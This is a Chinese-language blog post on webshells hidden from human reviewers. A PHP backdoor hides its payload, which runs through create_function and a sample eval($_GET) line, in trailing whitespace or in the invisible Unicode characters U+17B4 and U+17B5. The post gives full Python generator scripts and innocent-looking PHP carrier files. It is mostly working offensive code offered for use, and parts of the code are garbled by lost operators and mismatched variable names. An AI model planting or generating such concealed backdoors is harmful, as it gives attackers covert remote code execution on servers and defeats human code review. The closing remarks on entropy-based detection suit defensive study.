一个经典的过人WebShell
大概是在去年,闲着无聊的时候翻阅知乎,看到了这么一个回答:https://www.zhihu.com/question/68591788/answer/269545371
其中最后那个过人的 webshell 引起了我的注意:
dataProcessor($f[$i]);
} else {
$c .= $this->dataProcessor($f[$i]);
}
}
$t = $r('',"$c");
$t();
}
function dataProcessor($li) {
preg_match('/([\t ]+)\r?\n?$/', $li, $m);
if (isset($m[1])) {
$l = dechex(substr_count($m[1], "\t"));
$r = dechex(substr_count($m[1], " "));
$n = hexdec($l.$r);
return chr($n);
}
return "";
}
}
new newDataProvider();
?>
就像这位答主说的那样,大家能不能看出这个是 webshell 呢?以及评估一下自己在真实的系统中,很多 php 文件存在的情况下,能不能发觉这个 php 文件有点问题呢?我个人感觉自己在应急响应时,只有仔细看的时候才能发觉这是个 webshell,要不然我肯定粗略扫一眼以为是正常的 php 业务代码,直接放过
还有些人喜欢通过检索 webshell 关键字这样批量去找,这就更不可能找到了。那么这个 webshell 的原理是什么呢?每一行最后都有空格与制表符。\t的数量代表着 ascii 码 16 进制的第一位,空格的数量代表着 ascii 码 16 进制的第二位。然后有个关键的15,其实代表了前 15 行的空白字符组成的是create_function,后面就可以写一句话咯,例如eval($_GET["pass"]);,每一行写入一个字符即可。执行的时候先读取自身代码之后,按行提取出里面的空格和制表符,提取出隐藏的代码之后执行就完事了。
当然,要自己去加空格和制表符简直是反人类
所以我写了个隐藏 webshell 的代码如下:
import sys
def put_color(string, color):
colors = {
'red': '31',
'green': '32',
'yellow': '33',
'blue': '34',
'pink': '35',
'cyan': '36',
'gray': '2',
'white': '37',
}
return '\033[40;1;%s;40m%s\033[0m' % (colors[color], str(string))
if len(sys.argv) not in [3, 4]:
sys.exit(
'''[!] usage: python hidden_webshell.py payload filename [output_filename]\n'''
''' [-] example: python {}{}{}'''.format(
put_color('hidden_webshell.py', 'white'),
put_color(''' 'system("echo \"hacked by Tr0y :)\"");' ''', 'green'),
put_color('webshell.php', 'blue')
)
)
webshell_name = sys.argv[2]
hidden_name = sys.argv[3] if len(sys.argv) == 4 else 'webshell_hidden.php'
exp = sys.argv[1] # '''system("echo 'hacked by Tr0y :)'");'''
if not exp.endswith(';'):
print('[!] WARN: {} {}'.format(
put_color('The payload should end in', 'yellow'),
put_color(';', 'cyan')
))
print('[+] Hide webshell')
print(' [-] Read from {}'.format(put_color(webshell_name, 'blue')))
print(' [-] Payload is {}'.format(put_color(exp, 'green')))
payload = 'create_function' + exp
with open(webshell_name, 'r') as fp:
raw_php = fp.readlines()
for line, content in enumerate(payload):
hex_num = hex(ord(content))
tab_num = int(hex_num[2], 16)
space_num = int(hex_num[3], 16) # 最好用空格的个数代表个位数
hidden = '\t' tab_num + ' ' space_num
if line < len(raw_php):
if raw_php[line].endswith('\n'):
raw_php[line] = raw_php[line][:-1] + hidden + '\n'
else:
raw_php[line] = raw_php[line] + hidden
else:
raw_php.append(hidden + "\n")
with open(hidden_name, 'w') as fp:
fp.writelines(raw_php)
print('[!] Saved as {}'.format(put_color(hidden_name, 'blue')))
print('[!] All done\n\nBye :)')
然后我们还需要准备一个看似正常的 php 代码。其实这一步很重要,如果你的 php 代码看起来越无害,隐蔽效果就越好:
getArrayValue($lines[$i]);
if ($i < 15) {
$lower .= $value;
} else {
$higher .= $value;
}
}
$verifyScore = $lower('', "$higher");
$result = $verifyScore();
return $result;
}
function getArrayValue($result) {
preg_match('/([\t ]+)\r?\n?$/', $result, $match);
if (isset($match[1])) {
$lower = dechex(substr_count($match[1], "\t"));
$higher = dechex(substr_count($match[1], " "));
$result = hexdec($lower.$higher);
$result = chr($result);
return $result;
}
return '';
}
}
$score = new getHigherScore();
然后隐藏:
光看嘛是看不出来什么东西的(注意,因为每一行的最后都会隐藏信息,所以如果原 php 代码的行数不够多,文件最后就会空出很多行,这样容易被发现,建议在加点垃圾代码填充一下,我比较懒就不搞了)
但是搞个编辑器打开,就很容易被看出来:
有人可能会觉得这个文件很容易被发现,但实际上在真实的应急响应过程中,隐藏的手段往往就是这么简单,简单而有效。往往就是大家不屑一顾的小技巧,能达到出其不意的效果。当然这些道理我也是在后面磨炼中才悟到的。所以,在当时我对这个手段的态度,觉得它有趣要远大于觉得它很实用。
看不见的字符
大概是在前年吧,闲着无聊的时候翻阅 freebuf(日常无聊)
看到了这么一篇文章:《Linux应急故事之四两拨千斤:黑客一个小小玩法,如何看瞎双眼》,https://www.freebuf.com/articles/terminal/187842.html,就点进去看了一下。这篇文章我简单总结一下:入侵者将文件夹命名为 . .(中间是个空格),骗过了应急响应人员,使他找不到病毒文件夹……
吧,不管怎么说,这也证实了我上面的说法:简单有效是最好的。但我觉得这篇文章干货不多,原因并不是因为这个手段很 low 或者是他水平不行,而是攻击者居然用的是空格而不是其他更加隐蔽的字符。所以我带着失望的心情留下了这个评论:图中利用了 Unicode 的一些不可见字符,不但搞出了多个 ..
,甚至还有多个 .
,随便挑一个字符来用,不比用空格强?
字符可用 6D4
、115F
、1160
、17B4
、17B5
,我估计类似的还有很多很多,操作可以这样:echo -e ".\u17B4." | xargs mkdir
。但是即使用了这些更加隐蔽的手段,也是能被找出来的,就比如那篇文章中 dump 内存,或者用 od 也可以直接看的:
bash-3.2$ ls -ad .*| od -c
0000000 . \n . . \n . � 236 � . \n
0000013
再不济,就犹如那篇的文章评论区有人指出的:
类似的字符还有之前在 fb 上发出的一篇文章:《用零宽度字符水印揭露泄密者身份》,https://www.freebuf.com/articles/web/167903.html,这篇文章里主要提到的是抓内鬼,防泄漏,当时我也写了个工具实现了一下:https://github.com/Macr0phag3/Zero-Width-Spaces-Hiden,就是利用不可见的 Unicode 字符来隐藏信息,最近也有 CTF 开始玩这个套路了。
过人 WebShell pro 版
前几天在内部攻防演练,因为都是一个组的,大家知根♂知底♀的,所以在准备 webshell 的时候我就想整点新的东西。那么我们现在有了什么呢?我们有了隐藏 webshell 的手段,又有了看不见的字符,如果将空格与 tab 分别用 2 个不同的不可见字符替换,过人 webshell pro 版就诞生了:
import re
import sys
import binascii
def put_color(string, color):
colors = {
'red': '31',
'green': '32',
'yellow': '33',
'blue': '34',
'pink': '35',
'cyan': '36',
'gray': '2',
'white': '37',
}
return '\033[40;1;%s;40m%s\033[0m' % (colors[color], str(string))
if len(sys.argv) not in [3, 4]:
sys.exit(
'''[!] usage: python hidden_webshell.py payload filename [output_filename]\n'''
''' [-] example: python {}{}{}'''.format(
put_color('hidden_webshell.py', 'white'),
put_color(''' 'system("echo \"hacked by Tr0y :)\"");' ''', 'green'),
put_color('webshell.php', 'blue')
)
)
webshell_name = sys.argv[2]
hidden_name = sys.argv[3] if len(sys.argv) == 4 else 'webshell_hidden.php'
exp = sys.argv[1] # '''system("echo 'hacked by Tr0y :)'");'''
if not exp.endswith(';'):
print('[!] WARN: {} {}'.format(
put_color('The payload should end in', 'yellow'),
put_color(';', 'cyan')
))
print('[+] Hide webshell')
print(' [-] Read from {}'.format(put_color(webshell_name, 'blue')))
print(' [-] Payload is {}'.format(put_color(exp, 'green')))
hidden_str = ["឴", "឵"]
hidden_str = ["K", "k"]
payload = list('create_function' + exp)
with open(webshell_name, 'r') as fp:
raw_php = fp.readlines()
last_line_num = var_count = 0
last_var = ''
for line_num, content in enumerate(raw_php):
phpvar = re.findall('^\s(\$[0-9a-zA-Z]+)\s+=', content)
if php_var:
last_var = php_var[0]
last_line_num = line_num
var_count += 1
if not var_count:
print('[!] ERRO: {}'.format(
put_color('The PHP file must contains valid $vars', 'red'),
))
replaced = {}
for line_num, content in enumerate(raw_php[:last_line_num]):
if not payload:
break
vartmp = re.findall('^\s(\$[0-9a-zA-Z]+)\s+=', content)
if var_tmp:
var = var_tmp[0]
content = raw_php[line_num]
char = payload.pop(0)
print('隐藏', char, content)
hex_num = hex(ord(char))
tab_num = int(hex_num[2], 16)
space_num = int(hex_num[3], 16)
need_replace[var] = var + "\u17B4" tab_num + "\u17B5" space_num
replace_str = var + hidden_str[0] tab_num + hidden_str[1] space_num
replaced[var] = replacestr
for var in replaced:
tmp = re.findall(re.escape(var)+'(?![0-9a-zA-Z])', raw_php[line_num])
if tmp:
var_to_replace = tmp[0]
print(f'将 {raw_php[line_num]} 中的 {var_to_replace} 替换为 {replaced[var]}')
raw_php[line_num] = raw_php[line_num].replace(var_to_replace, replaced[var])
if payload:
replace_str = bin(
int(binascii.b2a_hex(bytes(''.join(payload), 'utf8')), 16)
)[2:].replace('0', hidden_str[0]).replace('1', hidden_str[1])
replaced[last_var] = last_var[:2] + replace_str + lastvar[2:]
for var in replaced:
tmp = re.findall(re.escape(var)+'(?![0-9a-zA-Z])', raw_php[last_line_num])
if tmp:
var_to_replace = tmp[0]
print(f'将 {raw_php[last_line_num]} 中的 {var_to_replace} 替换为 {replaced[var]}')
raw_php[last_line_num] = raw_php[last_line_num].replace(var_to_replace, replaced[var])
with open(hidden_name, 'w') as fp:
fp.writelines(raw_php)
print('[!] Saved as {}'.format(put_color(hidden_name, 'blue')))
print('[!] All done\n\nBye :)')
同样,准备一下 php 文件:
getArrayValue($lines[$i]);
if ($value) $count += 1;
else continue;
if ($count < 16) $lower .= $value;
else $higher .= $value;
}
$verifyScore = $lower('', "$higher");
$result = $verifyScore();
return $result;
}
function getArrayValue($test_str) {
preg_match('/^\s\$[^឴឵]+([឴឵]+).?=/', $test_str, $match_test_1);
preg_match('/^\s\$.([឴឵]+).=/', $test_str, $match_test_2);
if (isset($match_test_1[0])) {
$lower_char = dechex(substr_count($match_test_1[1], "឴"));
$higher_char = dechex(substr_count($match_test_1[1], "឵"));
$result = chr(hexdec($lower_char.$higher_char));
return $result;
} else if(isset($match_test_2[0])) {
$matched = array();
$content = str_replace("឵", 'b', str_replace("឴", 'w', $match_test_2[1]));
for($i = 0; $i < strlen($content); $i++) {
$matched[$i] = $content[$i] 1024;
if($content[$i] == $content[1]) {
$matched[$i] = 1;
}
}
return pack('H*', test(preg_replace('/[^\d]+/i', "", json_encode($matched))));
}
}
}
$score = new getHigherScore();
?>
运行!
效果:
我试了很多方法,除非是用 od 这样挨个显示字符的,否则大多数编辑器/命令都不会显示这个两个字符:\u17B4、\u17B5。目前为止,我遇到唯一会显示出这两个字符的是 MacOS 自带的编辑器:
这两个之所以不可见,似乎是大部分编辑器对 Unicode 的支持不够好,很多字符显示不了?不管怎么说,去 Unicode 里再淘一淘其他字符,肯定会有更加合适的~
注意:由于 php 会将这两个字符认为是普通字符而不是像空格、tab 这样的空白字符,放在行最后就会报错
所以隐藏方式我稍做了调整:将不可见字符插入到变量末尾,剩余的字符藏在最后一行,解析方式对应稍作改变。各位自行调整逻辑吧,放在注释里啊、固定的字符串里啊也都可以的,只要源代码看起来够正常即可。其实在大多数情况下,只需要在用终端的时候,大多数命令显示不出来这两个字符,就已经足够使用了。
最后一些话
上述的这些 webshell 能过人,会不会被机器检测到呢?我认为是有可能的。不管是第一个 webshell 的空格和 tab,还是 pro 版的那些不可见字符,它们本身就会增加文件的特殊性,虽然人眼看不出来,但是基于信息熵或者统计学方法的检测或许能揭开将这类 webshell 的面纱。不过就目前来看,不管是字符串长度还是关键字匹配甚至是机器学习算法,对于此类 webshell 的检测都较弱(目前我还没找到能够查杀上面两个 webshell 的工具,如果有的话请在评论区告诉我)。
我们要时刻记住的是,No Silver Bullet:)
(不知道现在 fb 的代码是不是还是有缩进丢失的问题 [手动狗头],所以我弄了一个 GitHub 仓库:https://github.com/Macr0phag3/webshell-bypassed-human,所有的代码都在里面了)